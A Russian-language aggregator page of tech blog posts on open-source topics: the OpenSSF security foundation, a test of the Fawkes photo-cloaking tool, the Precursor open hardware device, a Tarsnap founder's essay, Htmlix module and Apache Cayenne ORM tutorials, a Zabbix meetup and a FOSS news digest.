Русский
Русский
English
Статистика
Реклама

Open source

Кто займется развитием безопасности открытого ПО обсуждаем новые проекты и их будущее

20.09.2020 00:05:28 | Автор: admin
В августе Linux Foundation основали фонд OpenSSF. В него вошли Core Infrastructure Initiative и Open Source Security Coalition. Их участники разработают инструментарий для поиска уязвимостей в коде и верификации программистов, участвующих в его написании. Рассказываем, что к чему.


Фото Andrew Sharp Unsplash

В чем выгода для ИТ-индустрии


Меньше багов в открытом ПО. Главные усилия фонда пойдут на поддержку решений, сокращающих вероятность появления критических уязвимостей на уровне ИТ-инфраструктуры.

Примером может быть Heartbleed в OpenSSL, позволяющая несанкционированно читать память на сервере или на клиенте. В 2014 году уязвимыми оказались около 500 тыс. сайтов, и примерно 200 тыс. из них до сих пор не пропатчены.

Новые разработки в этой области должны способствовать более оперативной реакции на аналогичные проблемы. GitHub уже передали Open Source Security Coalition решение Security Lab оно помогает участникам площадки быстрее доводить информацию о багах в коде до мейнтейнеров. Интерфейс GitHub позволяет получить CVE-идентификатор для обнаруженной проблемы и подготовить отчет.

Лучшие методологии разработки. Будет сформирована курируемая библиотека лучших практик, на содержимое которой может повлиять любой участник отрытого сообщества. Для этих целей раз в две недели инженеры из крупных ИТ-компаний будут проводить онлайн-встречи и обсуждать технологии, фреймворки и особенности языков программирования.


Фото Walid Hamadeh Unsplash

Прозрачный процесс отбора специалистов. В Core Infrastructure Initiative и Open Source Security Coalition планируют разработать новые механизмы проверки контрибьюторов. Об их специфике известно мало, но они помогут избежать повторения истории с библиотекой event-stream для Node.js, когда новый мейнтейнер внедрил в неё бэкдор для кражи криптовалюты.

Взгляд на перспективу


ИТ-сообщество положительно встретило новые инициативы. ИБ-специалист Microsoft Майкл Сковетта (Michael Scovetta) отметил, что с момента обнаружения уязвимости до появления первых эксплойтов проходит всего три дня. Он считает, что инструментарий, разрабатываемый в рамках проектов OpenSSF, позволит выпускать заплатки в сжатые сроки и сокращать риски.

Хотя один из резидентов Hacker News в тематическом треде высказал беспокойство, что специалисты начнут разработку новых ИБ-стандартов вместо того, чтобы развивать существующие. В результате вновь станет актуальной история, описанная в одном из комиксов XKCD.



Материалы по теме из нашего корпоративного блога:

Какие есть открытые ОС для сетевого оборудования
Как Европа переходит на открытое ПО для госучреждений
Участие в open source проектах может быть выгодным для компаний почему и что это дает
Вся история Linux. Часть I: с чего все началось
Вся история Linux. Часть II: корпоративные перипетии
История Linux. Часть III: новые рынки и старые враги
Бенчмарки для Linux-серверов



Подробнее..

Из песочницы Защита фото от систем распознавания лиц работает?

22.09.2020 16:11:47 | Автор: admin
image

За последние полтора месяца (с начала августа 2020) уже довольно много изданий/платформ и ресурсов говорили/писали про Алгоритм Fawkes: https://sandlab.cs.uchicago.edu/fawkes/#press.

Среди которых и Habr, The New York Times, The Verge и т.д.

Действительно, в наше время (тихий 2020 год) довольно актуальна тема со слежкой опознанием граждан по камерам наблюдения и поиск частными лицами по фото (FindFace, etc).

Исследователи из Чикагского университета придумали алгоритм клоакинга, для защиты от распознавания лиц. Выложили исходники на github: https://github.com/Shawn-Shan/fawkes.

В августе я прочитал про этот инструмент (Алгоритм Fawkes). И решил заменить свои фото в социальных сетях и на всех интернет ресурсах, где есть мои реальные фото.

Но, для начала, решил испробовать данный инструмент на своих фото:

  • запускается ли fawkes;
  • проверить собственными глазами результат работы fawkes;
  • проверить на заявленных ресурсах (теми же инструментами, что и автор fawkes проверял свой алгоритм).

Благо на https://github.com/Shawn-Shan/fawkes есть довольно подробная и простая инструкция по работе с fawkes.

Создателем fawkes заявлено, что алгоритм защищает от:

  • Microsoft Azure Face API,
  • Amazon Rekognition Face Verification,
  • Face++ Face Search API.

Данный список указан в Technical Paper:

image

На личном сервере собрал из исходников: git clone; pip3 install fawkes. Это было не просто, а очень просто.

Закинул свое фото на сервер r1.jpg. И по инструкции обработал это фото с помощью fawkes.
На выходе получил второе фото: r1_min_cloaked.png. Ура, я получил клоакнутое фото. Открыл фото r1_min_cloaked.png посмотреть своими глазами. Изменения заметны, но не критичны. Вокруг глаз, переносицы и носа есть не значительные затемнения.

image

После этого решил проверить результат (r1_min_cloaked.png) на сервисах Microsoft Azure Face API, Amazon Rekognition Face Verification и Face++ Face Search API.

Результат:

r1-and-r1_cloacked

Как видим нейросеть Microsoft Azure Face API показала, что оригинальное фото (слева на скриншоте) и фото после обработки (справа на скриншоте) один человек. Аналогичные цифры показали и остальные инструмента проверки: нейросети Amazon Rekognition Face Verification и Face++ Face Search API.

То же самое с защитой фото других людей/персон:

r1_and_cat

obama_origin_and_cloacked

emily_origin_and_cloacked

queen_origin_and_cloacked_faceplusplus

obama_origin_and_cloacked_faceplusplus

То есть по состоянию на середину сентября Fawkes не работает. Возможно, конечно, Fawkes работала в августе 2020 года. Но в сентябре 2020 году уже не работает.

Неделю назад писал письмо разработчику Fawkes и его команде Fawkes team, с просьбой помочь подтвердить работу алгоритма. Но ответного письма пока не получил.

На данный момент я так и не смог подтвердить работу Fawkes.
Подробнее..

Precursor собери сам свое open-source мобильное устройство с криптографической защитой

22.09.2020 20:11:13 | Автор: admin


На днях представлен проект открытой программной платформы для создания мобильных устройств. Он получил название Precursor. По словам автора, это Arduino или Raspberry Pi для мобильной отрасли. На базе платформы можно собрать любой мобильный девайс.

В отличие от тех же одноплатников, Precursor поставляется в корпусе, с готовой клавиатурой и дисплеем. Подробнее о проекте под катом.

Характеристики устройства


Корпус изготовлен из алюминия, его размеры 69 x 138 x 7.2 мм. Есть LCD-экран (336*536), аккумулятор на 110 мА*ч, клавиатура, динамик, вибромотор и акселерометр.

Основа девайса программно-определяемый SoC, FPGA Xilinx XC7S50, на его базе организована эмуляция 32-разрядного CPU RISC-V, работающего на частоте 100MHz. Разработчик утверждает, что эмулировать можно работу широкого спектра процессоров от 6502 и Z-80 до AVR и ARM, а также звуковых чипов и различных контроллеров.

Кроме того, плата включает 16 MB SRAM, 128 MB Flash, Wi-Fi Silicon Labs WF200C, USB type C, SPI, IC, GPIO.

Платформа оснащена двумя аппаратными генераторами псевдослучайных чисел. Это сделано для повышения уровня безопасности. Интересный момент устройство не имеет микрофона. Для считывания звука нужно подключить гарнитуру. Это сделано в целях защиты от подслушивания. Если гарнитура отключена, звук не будет регистрироваться, соответственно, удаленно что-то подслушать невозможно.

Wi-Fi-модуль аппаратно изолирован от всех остальных компонентов и работает в собственном окружении. Для повышения уровня безопасности разработчики предусмотрели еще и запираемый корпус, RTC для отслеживания целостности, мониторинг движения в режиме ожидания (всегда включенные акселерометр и гироскоп).

При необходимости можно добавить цепь саморазрушения и очистки всех данных. Активируется эта опция при помощи AES-ключа.


Для работы с аппаратными модулями используется FHDL-язык Migen (Fragmented Hardware Description Language), основанный на Python. Он входит в состав фреймворка LiteX, предоставляющий инфраструктуру для создания электронных схем. Кроме того, разработчик подготовил эталонный SoC Betrusted, включающий 100 MHz CPU VexRISC-V RV32IMAC, а также встраиваемый контроллер Betrusted-EC с ядром 18 MHz LiteX VexRISC-V RV32I.

Предусмотрен и набор криптографических примитивов, включая AES-128, -192, -256 с режимами ECB, CBC и CTR, SHA-2 и SHA-512, криптодвижок на базе эллиптических кривых Curve25519. Основа движка криптоядра Google OpenTitan.


Автор проекта называет Precursor платформой для создания и верификации прототипов. А вот Betrusted готовое устройство на базе платформы. Автор использовал элементы взаимодействия с пользователем для того, чтобы исключить возможность сохранения, демонстрации или передачи защищенных данных вне устройства.

Betrusted не мобильный телефон, а скорее цифровой ассистент, позволяющий повысить безопасность приема и передачи данных.


Автор проекта Эндрю Хуан (Andrew Huang), ранее получивший премию EFF Pioneer Award 2012. Как поклонник open source, он открыл ПО и аппаратное обеспечение как Precursor, так и Betrusted. Используемая лицензия Open Hardware Licence 1.2. Эндрю Хуан открыл схемы, проектную документацию плат, SoC Betrusted и управляющего контроллера. Подготовлены и 3D-модели для желающих распечатать корпус. Готовы прошивки и ОС Xous.

С полным описанием проекта можно ознакомиться здесь.

Подробнее..

Перевод Об использовании жизни

24.09.2020 22:04:44 | Автор: admin

От создателя криптосервиса Tarsnap для резервного копирования


В недавней дискуссии на Hacker News комментатор задал вопрос:

Итак, что мы думаем о Tarsnap? Автор явно гений, который тратит время на резервные копии вместо того, чтобы решать задачи тысячелетия. Я говорю это с величайшим уважением. Может, соблазн предпринимательства ловушка?

Сначала я хотел ответить в самом треде, но подумал, что тема заслуживает глубокого ответа, который прочитает больше людей, чем в середине обсуждения HN на сто с лишним комментариев.

Во-первых, разберёмся с философской стороной вопроса: да, это моя жизнь, и да, я могу её использовать или тратить как мне нравится. Но при этом нет ничего плохого в вопросе, как лучше всего потратить время. Это вдвойне верно, если речь идёт не только о моём личном выборе, но и о более широком вопросе: действительно ли наше общество структурировано таким образом, что побуждает людей приносить меньше пользы, чем они могли бы?

Хотя мне слегка не нравится предпосылка этого вопроса в частности, утверждение о том, что я тратил [своё] время на резервные копии.

С одной стороны, это правда: Tarsnap является моей работой с 2006 года. Я иногда даю консультации в последнее время не так часто, но с финансовой точки зрения именно Tarsnap оплачивал все счета (включая покупку дома, в который я перееду на следующей неделе). С другой стороны, моя работа над Tarsnap серьёзно распространилась на смежные области.

В 2009 году многие пользователи Tarsnap попросили функцию защиты ключей парольными фразами, но я обнаружил совершенно бедственное состояние современных технологий для формирования ключей на основе пароля. Тогда я придумал инструмент scrypt и в процессе открыл совершенно новую область криптографии. Конечно, я делал это ради улучшения безопасности Tarsnap; но будет не совсем честно говорить, что я тратил своё время на работу с резервными копиями.

В 2011 году, желая безопасно соединить демоны на разных хостах и будучи не удовлетворён существующими вариантами на основе TLS, я написал spiped. Хотя в целом он не получил широкого распространения, но я всё равно считаю его значительным вкладом в компьютерную безопасность как и scrypt, я создал его для удовлетворения потребностей Tarsnap, но будет натяжкой помещать такой универсальный инструмент с открытым исходным кодом в узкое определение работы с резервными копиями.

Примерно в то же время я начал работать над kivaloo, высокопроизводительным хранилищем данных ключ-значение. Возможно, это наименее используемая из всех моих программ, я не знаю, кто ещё использует её в настоящее время, кроме меня (хотя для опенсорсной программы такая возможность не исключена), но считаю, что это один из лучших образцов моего кода, и в будущем он может найти большее применение, чем сам Tarsnap.

Начиная с 2006 года, а особенно после того, как Amazon запустила семейство HVM-инстансов EC2 с поддержкой M3 в 2012 году, я создавал и поддерживал платформу FreeBSD/EC2. Хотя у меня нет точной статистики по её использованию, прошлогодний опрос показал, что 44% людей, работающих с FreeBSD в облаке, используют Amazon EC2; поэтому несмотря на то, что в настоящее время всего 22 человека оказывают спонсорскую поддержку моим усилиям ясно, что моя работа здесь была продуктивной. Опять же, я хотел в первую очередь запустить FreeBSD в EC2 для Tarsnap, но вряд ли эту работу по итогу можно полностью отнести к категории работа с резервными копиями.

Конечно, вопрос не в том, сделал ли я что-нибудь полезное, а в том, провёл ли я эти годы с максимальной пользой. Судя по ссылке на задачи тысячелетия, я так полагаю, что человек имел в виду альтернативу в виде исследовательской карьеры. Действительно, если бы жизнь сложилась иначе, то между моими студенческими исследованиями по теории чисел под руководством покойного Питера Борвейна и докторскими исследованиями в Оксфорде я мог бы серьёзно подумать о гипотезе Бёрча Свиннертон-Дайера (BSD, одна из задач тысячелетия прим. пер), и эта BSD сильно отличается от той, с которой я связан в настоящее время!

Так почему я не выбрал академическую карьеру? На это есть много причин, и запуск Tarsnap, безусловно, одна из них, но большинство причин сводятся к следующему: Университетская наука паршивое место для проведения инновационных исследований. В 2005 году я подготовил первую статью об использовании общих кэшей в многопоточных процессорах в качестве стороннего канала для криптоатак, и в 2006 году надеялся продолжить эту работу. После присвоения докторской степени в Оксфордском университете и возвращения домой в Канаду я получил право на постдокторскую стипендию от Национального совета Канады по научным и инженерным исследованиям, поэтому подал заявление и не получил одобрения. Мой руководитель предупредил о риске исследования, которое слишком инновационное для молодого учёного: комитеты не знают, что с вами делать, они не видят у вас никакой репутации, на которую можно опереться. Действительно, я столкнулся с этой проблемой: рецензенты в журнале по криптологии не понимали, почему им прислали статью о дизайне процессоров, в то время как рецензенты в журнале о компьютерном железе не понимали, зачем им прислали статью о криптографии. Как из собственного опыта, так и из полученных советов мне стало ясно, что если я хочу преуспеть в академических кругах, нужно то каждый год публиковать дополнительные статьи по крайней мере, до тех пор, пока я не получу должность в университете.

Во многих отношениях создание собственной компании дало мне ту свободу, к которой стремятся учёные. Конечно, у меня есть клиенты, которым нужно помогать, серверы, которыми нужно управлять (не то чтобы они нуждались в особом управлении), и бизнес-бухгалтерия, но у профессоров тоже есть классы, где нужно преподавать, студенты, которых нужно контролировать, и комитеты, которые нужно посещать. Когда речь об исследованиях, то я могу следовать своим интересам, не обращать внимания на прихоти агентств по распределению грантов, комитетов по найму и продвижению: я могу делать проекты вроде scrypt, который сейчас широко известен, но томился в неизвестности в течение нескольких лет после того, как я его опубликовал. И точно так же я могу делать работу вроде kivaloo, которую по сути игнорируют почти десять лет, без каких-либо признаков изменения ситуации в будущем.

Возможен ли мир, в котором я сейчас был бы учёным и работал над решением гипотезы Бёрча Свиннертон-Дайера? Конечно. Вероятно в этом мире самые талантливые студенты по окончании обучения получают своего рода мини-гранты гения. Если бы я получил пятилетний грант на $62 500 в год с единственным условием заниматься исследованиями, то почти наверняка продолжил бы работать в академических кругах и несмотря на более интересные, но более долгосрочные вопросы опубликовал бы достаточно публикаций, чтобы получить постоянную научную должность. Но агентства по распределению грантов работают не так; они выдают гранты на один-два года с расчётом на то, что успешные исследования позже подадут заявку на дополнительное финансирование.

Короче говоря, академические институты системно продвигают именно тот вид краткосрочной оптимизации, в котором, как ни странно, часто обвиняют частный сектор. Так что нет, предпринимательство это не ловушка. Сейчас это единственный способ избежать ловушки.
Подробнее..

Создание модуля на фреймворке Htmlix

23.09.2020 12:10:47 | Автор: admin
В данной статье будет описаны базовые принципы создания модулей на javascript фреймворке htmlix.

Например у вас есть приложение с большим количеством кнопок, событий и т.д. И для удобства, а также для увеличения скорости загрузки, и уменьшения потребления ресурсов вы захотели его разбить на модули. Пример работающего htmlix приложения на основе модулей можно покликать по ссылке редактор для создания коллажей и спрайтов Collage_n .

Модули в htmlix полностью автономны и не требуют добавления в основной (core) участок кода. Поэтому их можно создать на отдельном js скрипте и подключить когда это потребуется или не подключать вовсе. Информацию об изменении состояния приложения и новые данные они получают на основе пользовательских событий см. Работа с пользовательскими событиями, поэтому их легко добавить или удалить не меняя основной код приложения. Можно также выключить прослушивание данных событий из самого модуля, а потом снова включить.

Далее будет рассмотрен модуль addDrawCirclePane приложения Collage_n который рисует круги на канвас с помощью кликов мыши. Перед рисованием модуль принимает два параметра цвет и диаметр круга с помощью свойств с типом inputvalue. Далее после нажатия кнопки рисовать вызывает emiter событие emiter-operation-with со значением draw-circle чтобы включить активное состояние модуля, и выключить другие модули приложения.

Модуль создается также как и обычный компонент:

(function(){//разметка модуля// создаем контейнер для модуля data-draw_circle_panel="container"//все используемые в js поля и кнопки обозначены именами (для удобства)// name="draw_circle_btn", name="draw_sircle_radius", name="draw_sircle_color"  var html = `   <div data-draw_circle_panel="container"  class="form-group" name="draw_circle_panel"><label for="exampleFormControlInput1" style="font-size: 15px;">                       Рисовать окружность        </label><div class="form-row"><div class="form-group col-md-4">                     <button type="button" name="draw_circle_btn" class="btn btn-success btn-sm">                            Рисовать                      </button></div><div class="form-group col-md-4">   <input name="draw_sircle_radius" type="text" class="form-control form-control-sm"></div><div class="form-group col-md-4">     <input name="draw_sircle_color" type="text" class="form-control form-control-sm"></div></div> </div>`  ;  //динамическое добавление разметки модуля в общую разметку приложения.  var div = document.createElement("div");  div.innerHTML = html;  div = div.querySelector("div");  var parent = document.querySelector("[data-main_form]");  var insert_before = document.querySelector("[name='common_btns_class']")  var insertedElement = parent.insertBefore(div, insert_before);    //js код модуля  var draw_circle_panel = {    container: "draw_circle_panel", //контейнер модуля  props: [               ///свойства модуля["draw_circle_btn", "click", "[name='draw_circle_btn']"], ["draw_sircle_radius", "inputvalue", "[name='draw_sircle_radius']"],["draw_sircle_color", "inputvalue", "[name='draw_sircle_color']"], ///два свойства-события основного core приложения: клики по канвас и событие смены операции["canvas_click", "emiter-mousedown-canvas", ""], ["operation_with", "emiter-operation-with", ""],  ],  methods: { //отключает слушателей canvas событий ( mousedown) если модуль находится в пассивном состоянии  operation_with: function(){    if(this.emiter.prop != "draw-circle"){     this.parent.props.canvas_click.disableEvent();    }else{    this.parent.props.canvas_click.enableEvent();    }    },//при нажатии на кнопку рисовать - вызывает событие "emiter-operation-with" и устанавливает свойство prop = "draw-circle" чтобы другие модули отключили прослушивание событий и скрыли ненужные кнопки.  draw_circle_btn: function(){  this.$$("emiter-operation-with").set("draw-circle");       },//слушает событие приложения  "emiter-mousedown-canvas" и в активном состоянии рисует круги при кликах мышью. canvas_click: function(){if(this.$$("emiter-operation-with").prop == "draw-circle"){//данные из свойств модуля  var props = this.parent.props;  var radius = props.draw_sircle_radius.getProp();  var color = props.draw_sircle_color.getProp();                       var point = this.emiter.prop;//данные из события основного (core) приложения с координатами точки на канвас             saveStep(saveImg, this.$props().commonProps.area_1);  //обычная функции из глобальной области для сохранения шагов, редактирования ctx.save();            ctx.putImageData(saveImg, 0, 0);ctx.beginPath();ctx.arc(point[0], point[1], radius, 0, 2*Math.PI, false);ctx.fillStyle =  color;ctx.fill();ctx.lineWidth = 1;ctx.strokeStyle =  color;ctx.stroke();                               //переменная из глобальной области для сохранения картинки после рисования saveImg = ctx.getImageData(0,0, srcWidth, srcHeight);ctx.restore();}}    }    }//добавляем описание модуля в общее описание приложения  HM.description.draw_circle_panel  = draw_circle_panel;//создаем контейнер модуля  HM.containerInit(div , HM.description, "draw_circle_panel");  HM.eventProps["emiter-operation-with"].emit(); //вызываем чтобы отключить слушателей canvas событий при старте модуля})()

В примере выше мы подключили контейнер с помощью функции: HM.containerInit(htmlLink, HM.description, module_name);
где HM ссылка на экземпляр приложения.

Для подключения массива нужно использовать функцию HM.arrayInit(htmlLink, HM.description, module_name);

В редакторе Collage_n модули подключаются в панели Загрузить модуль, изменить настройки.

Это был краткий обзор основных принципов создания и подключения htmlix модулей.
Подробнее..

Онлайн митап Zabbix и сессия вопросовответов с Алексеем Владышевым

17.09.2020 16:18:03 | Автор: admin

image


29 сентября мы проведем четвертый онлайн митап на русском языке. Вступительную речь, а также сессию вопросов и ответов возьмет на себя создатель и исполнительный директор Zabbix Алексей Владышев. Приглашаем вас послушать интересные и полезные доклады и не упустить возможность задать интересующие вопросы напрямую создателю нашего решения для мониторинга. Регистрация на мероприятие уже открыта.


Программа:


10:00 Открытие мероприятия
Алексеем Владышев, Основатель и исполнительный директор, Zabbix


10:10 "Улучшения UI/UX в Zabbix 5.0/5.2."
Тихон Усков, Инженер интеграции, Zabbix


10:30 TBA


10:50 "Как мы доработали Zabbix-Agent для мониторинга баз данных Oracle/MySQL/PostgreSQL/MSSQL на разных ОС"
Михаил Григорьев, Cистемный инженер, Дистрибьютед Сервис


11:20 Вопросы и ответы с Алексеем Владышевым, основателем и исполнительным директором, Zabbix


До встречи на митапе!

Подробнее..

Добавляем ORM в проект за четыре шага

17.09.2020 00:18:21 | Автор: admin

Представим, что вашему проекту срочно понадобился ORM, и вы хотите внедрить его как можно быстрее. В этой статье я хочу рассказать, как это можно сделать всего за четыре шага на примере использования open source проекта Apache Cayenne.


Для начала вкратце опишу механизм работы с данной библиотекой. Схема базы данных и модели описывается в xml файле, который может быть сгенерирован через GUI приложение или через консоль. Затем на основе xml файла генерируются java объекты, которые являются соответствующим отображением таблиц в базе. Последним шагом создается ServerRuntime объект, который инкапсулирует в себе весь стек Apache Cayenne.
Итак, перейдем к примеру. Что необходимо сделать:


  • Создать схему базы данных
  • Импортировать схему в проект, то есть получить xml файлы с описанием схемы
  • Создать объектную модель, то есть сгенерировать java классы
  • Проинициализировать ServerRuntime для доступа к базе данных из приложения

Что потребуется для начала? Уже существующий maven или gradle проект, Java 1.8+ и база данных. Мой тестовый проект использует maven, java 14 и самую свежую версию Apache Cayenne 4.2.M1. В качестве базы я использую mysql. Вы для своих проектов можете использовать стабильную версию 4.1 и любую из известных реляционных баз на ваш выбор.
Для наглядности я прикреплю ссылку на пример.


Создание схемы


Для примера создадим простейшую схему, состоящую из трех сущностей: марка авто, модель авто, отзыв на модель авто.


CREATE SCHEMA IF NOT EXISTS cars_demo; USE cars_demo;CREATE TABLE car_brand (ID INT NOT NULL AUTO_INCREMENT, NAME VARCHAR(200) NULL, COUNTRY VARCHAR(200) NULL, PRIMARY KEY (ID)) ENGINE=InnoDB;CREATE TABLE car_model (ID INT NOT NULL AUTO_INCREMENT, NAME VARCHAR(200) NULL, CAR_BRAND_ID INT NULL, PRIMARY KEY (ID)) ENGINE=InnoDB;CREATE TABLE feedback (CAR_MODEL_ID INT NULL, ID INT NOT NULL AUTO_INCREMENT, FEEDBACK VARCHAR(200) NULL, PRIMARY KEY (ID)) ENGINE=InnoDB;ALTER TABLE car_model ADD FOREIGN KEY (CAR_BRAND_ID) REFERENCES car_brand (ID) ON DELETE CASCADE;ALTER TABLE feedback ADD FOREIGN KEY (CAR_MODEL_ID) REFERENCES car_model (ID) ON DELETE CASCADE;

Первый шаг пройден, двигаемся ко второму.


Импорт схемы


Здесь уже начинается непосредственное использование библиотеки. Для начала подключим необходимый плагин к проекту:


            <plugin>                <groupId>org.apache.cayenne.plugins</groupId>                <artifactId>cayenne-maven-plugin</artifactId>                <version>${cayenne.version}</version>                <configuration>                    <dataSource> <!--1-->                        <driver>com.mysql.jdbc.Driver</driver>                         <url>jdbc:mysql://127.0.0.1:3306/cars_demo</url>                         <username>root</username>                         <password>root</password>                    </dataSource>                    <cayenneProject>${project.basedir}/src/main/resources/cayenne/cayenne-project.xml</cayenneProject> <!--2-->                    <map>${project.basedir}/src/main/resources/cayenne/datamap.map.xml</map> <!--3-->                    <dbImport> <!--4-->                        <defaultPackage>cayenne.note.project.model</defaultPackage>                        <catalog>cars_demo</catalog>                    </dbImport>                </configuration>                <dependencies>                    <dependency> <!--5-->                        <groupId>mysql</groupId>                        <artifactId>mysql-connector-java</artifactId>                        <version>${mysql.version}</version>                    </dependency>                </dependencies>            </plugin>

  • (1) DataSource, для подключения к базе
  • (2) Путь, где будет лежать сгенерированный xml, который необходим для запуска Cayenne
  • (3) Путь, где будет лежать xml с описанием модели и базы
  • (4) Базовый пакет, где позже будут находиться сгенерированные классы
  • (5) Зависимость от mysql-connector для работы с mysql

Далее в консоли запускаем импорт модели:


mvn cayenne:cdbimport

После выполнения этой команды должны появится два файла, указанные в (2) и (3). Как я уже говорил, файл cayenne-project.xml является служебным файлом, необходимым для работы библиотеки. Файл datamap.map.xml это описание модели базы данных и ее объектного отображения, а также всех связей.


Пару слов о процессе cdbimport: по умолчанию он импортирует всю схему, включая все связи. Данная команда может быть кастомизирована. Вы можете указать, какие сущности стоит включить в импорт, какие исключить, есть возможность указать паттерн для импорта таблиц. Более подробно с этим можно ознакомиться в документации.


Генерация классов


В предыдущем пункте мы сгенерировали описание модели, теперь же нам необходимо сгенерировать java классы, которые можно будет использовать в проекте. Сделать это очень просто, достаточно просто запустить в консоли команду:


mvn cayenne:cgen

После успешной генерации в пакете, который был указан в настройке плагина, будет находиться набор сгенерированных сущностей. Стоит обратить внимание, что сгенерировалось два набора классов. Первый находится в пакете auto и является служебным. Не стоит модифицировать эти классы, так как все изменения исчезнут при следующей генерации. Для пользовательских изменений существуют классы без нижнего подчеркивания, которые наследуются от классов из пакета auto. Именно они предназначаются для прямого использования и кастомизации.


Пример использования


Мы на финишной прямой, осталось только привести пример использования Apache Cayenne.
Создадим ServerRuntime это основной стэк Cayenne, который создается один раз для всего проекта.
Из рантайма всегда можно получить ObjectContext объект, который используется для работы с базой данных.


ServerRuntime cayenneRuntime = ServerRuntime.builder()                .dataSource(DataSourceBuilder                        .url("jdbc:mysql://127.0.0.1:3306/cars_demo")                        .driver("com.mysql.cj.jdbc.Driver")                        .userName("root") // Need to change to your username                        .password("root") // Need to change to your password                        .build())                .addConfig("cayenne/cayenne-project.xml")                .build();        ObjectContext context = cayenneRuntime.newContext();

Создадим несколько сущностей и отправим их в базу:


CarBrand carBrand = context.newObject(CarBrand.class);carBrand.setName("BMW");carBrand.setCountry("Germany");CarModel carModel = context.newObject(CarModel.class);carModel.setName("i3");carModel.setCarBrand(carBrand);Feedback feedback = context.newObject(Feedback.class);feedback.setFeedback("Like");feedback.setCarModel(carModel);context.commitChanges();

Как видно, мы создаем объекты при помощи ObjectContext, затем модифицируем их и фиксируем изменения при помощи context.commitChanges().


Для выборки сущностей можно использовать API на любой вкус от чистого sql и ejbql до хорошо читаемого API. Полное описание можно найти в документации.
Небольшой пример обычного селекта из базы с использованием Apache Cayenne:


List<CarBrand> carBrans = ObjectSelect.query(CarBrand.class).select(context);

На этом у меня все. Как видно из этого примера, за несколько шагов можно получить боевой ORM, который полностью готов к работе. Надеюсь статья оказалась полезной. С полным примером можно ознакомиться здесь.

Подробнее..

FOSS News 34 дайджест новостей свободного и открытого ПО за 14-20 сентября 2020 года

20.09.2020 18:23:47 | Автор: admin


Всем привет!

Продолжаем дайджесты новостей и других материалов о свободном и открытом ПО и немного о железе. Всё самое главное про пингвинов и не только, в России и мире. О направлении развития Linux и проблемах с процессом его разработки, об инструментах поиска лучшего FOSS софта, боль от использования Google Cloud Platform и рассуждения о том насколько нужно поддерживать обратную совместимость, видео о дистрибутивах GNU/Linux для новичков, о награждении KDE Akademy Awards и многое другое.

Оглавление


  1. Главные новости
    1. Что нового в ядре Linux и куда оно развивается
    2. Почему нет удобного инструмента для сравнения и выбора лучших Open Source программ?
    3. Дорогой Google Cloud, отказ от обратной совместимости тебя убивает
    4. Процесс разработки Linux: стоит ли игра свеч?
    5. Выбор дистрибутива Linux для дома
    6. Названы обладатели премии KDE Akademy Awards
  2. Короткой строкой
    1. Мероприятия
    2. Открытие кода и данных
    3. Новости FOSS организаций
    4. Юридические вопросы
    5. Ядро и дистрибутивы
    6. Безопасность
    7. DevOps
    8. Web
    9. Для разработчиков
    10. Пользовательское
    11. Железо
    12. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Безопасность
    4. Для разработчиков
    5. Специальный софт
    6. Мультимедиа
    7. Игры
    8. Пользовательский софт


Главные новости


Что нового в ядре Linux и куда оно развивается





На сайте HP Enterprise появилась статья с рассуждениями о будущем Linux. Автор, CEO Vaughan-Nichols & Associates Стивен Ван-Никольс, пишет: По прошествии стольких лет разработчики Linux продолжают вводить новшества. Новые версии будут быстрее и стабильнее. Linux работает практически везде: все 500 из 500 самых быстрых суперкомпьютеров в мире; большая часть общедоступных облаков, даже в Microsoft Azure; и 74 процента смартфонов. Действительно, благодаря Android Linux является самой популярной операционной системой для конечных пользователей, опережая Windows на 4% (39% против 35%). Итак, что дальше с Linux? Я рассказывал о Linux почти за все 29 лет его истории и знал практически всех, кто был в кругах разработчиков Linux, включая Линуса Торвальдса, и думаю, что у меня есть ключ к ответу на вопрос о том, куда движется Linux.

Подробности (en)

Почему нет удобного инструмента для сравнения и выбора лучших Open Source программ?





На Functionize появилась статья с описанием попытки разобраться, как выбрать лучший FOSS софт, автор пишет: Мудрость толпы вдохновила на создание всевозможных онлайн-сервисов, в которых люди делятся своим мнением и направляют других в принятии решений. Интернет-сообщество создало множество способов сделать это, например обзоры Amazon, Glassdoor (где вы можете оценивать работодателей), а также TripAdvisor и Yelp (для отелей, ресторанов и других поставщиков услуг). Вы также можете оценивать или рекомендовать коммерческое программное обеспечение, например, в магазинах мобильных приложений или на таких сайтах, как Product Hunt. Но если вам нужен совет, который поможет вам выбрать приложения с открытым кодом, результаты неутешительны.

Подробности (en)

Дорогой Google Cloud, отказ от обратной совместимости тебя убивает





На Хабре появилась переводная статья с описанием боли, которую испытывает несколько лет проработавший в Google автор из-за используемого в Google Cloud Platform подхода, похожего на запланированное устаревание и вынуждающего пользователей каждый пару лет вносить существенные правки в свой код использующий этого облачного провайдера. В статье описываются, для контраста, решения которые поддерживаются многие годы и где действительно заботятся об обратной совместимости (GNU Emacs, Java, Android, Chrome). Статья пожалуй будет интересна не только пользователям GCP, но и разработчикам ПО, которое должно работать хотя бы несколько лет. И поскольку в статьей упоминается много примеров из мира FOSS, статья вписалась в дайджест.

Подробности

Процесс разработки Linux: стоит ли игра свеч?





На Хабре вышел переводной материал от автора с солидным опытом разработки, где он рассуждает о том, как сейчас организован процесс разработки ядра Linux, и критикует его: К настоящему моменту Linux существует уже почти три десятка лет. В ранние дни этой ОС Линус Торвальдс сам управлялся с кодом, написанным другими программистами, делающими вклад в развитие Linux. Тогда не было никаких систем контроля версий, всё делалось вручную. В современных условиях те же задачи решаются с использованием git. Правда, всё это время кое-что оставалось неизменным. А именно, код отправляют в список рассылки (или в несколько списков), а там его проверяют и обсуждают до тех пор, пока он не будет сочтён готовым для включения в ядро Linux. Но, несмотря на то, что этот процесс работы с кодом успешно использовался многие годы, он постоянно подвергался критике. Я полагаю, что моё положение позволяет мне высказать некоторые идеи относительно разработки ядра Linux.

Подробности

Выбор дистрибутива Linux для дома





На YouTube канале Алексея Самойлова, популярного видеоблоггера снимающего ролики про Linux, появилось новое видео Выбор дистрибутива Linux для дома (2020). В нём автор рассказывает про лучшие, по его мнению, дистрибутивы для дома, актуализируя своё видео 4-летней давности. Описанные в видео дистрибутивы практически не требуют настройки после установки и лучше всего подходят для начинающих. В ролике рассмотрены: ElementaryOS, KDE Neon, Linux Mint, Manjaro, Solus.

Видео

Названы обладатели премии KDE Akademy Awards





OpenNET пишет:

На прошедшей конференции KDE Akademy 2020 названы обладатели премии KDE Akademy Awards, присуждаемой наиболее выдающимся участникам сообщества KDE.
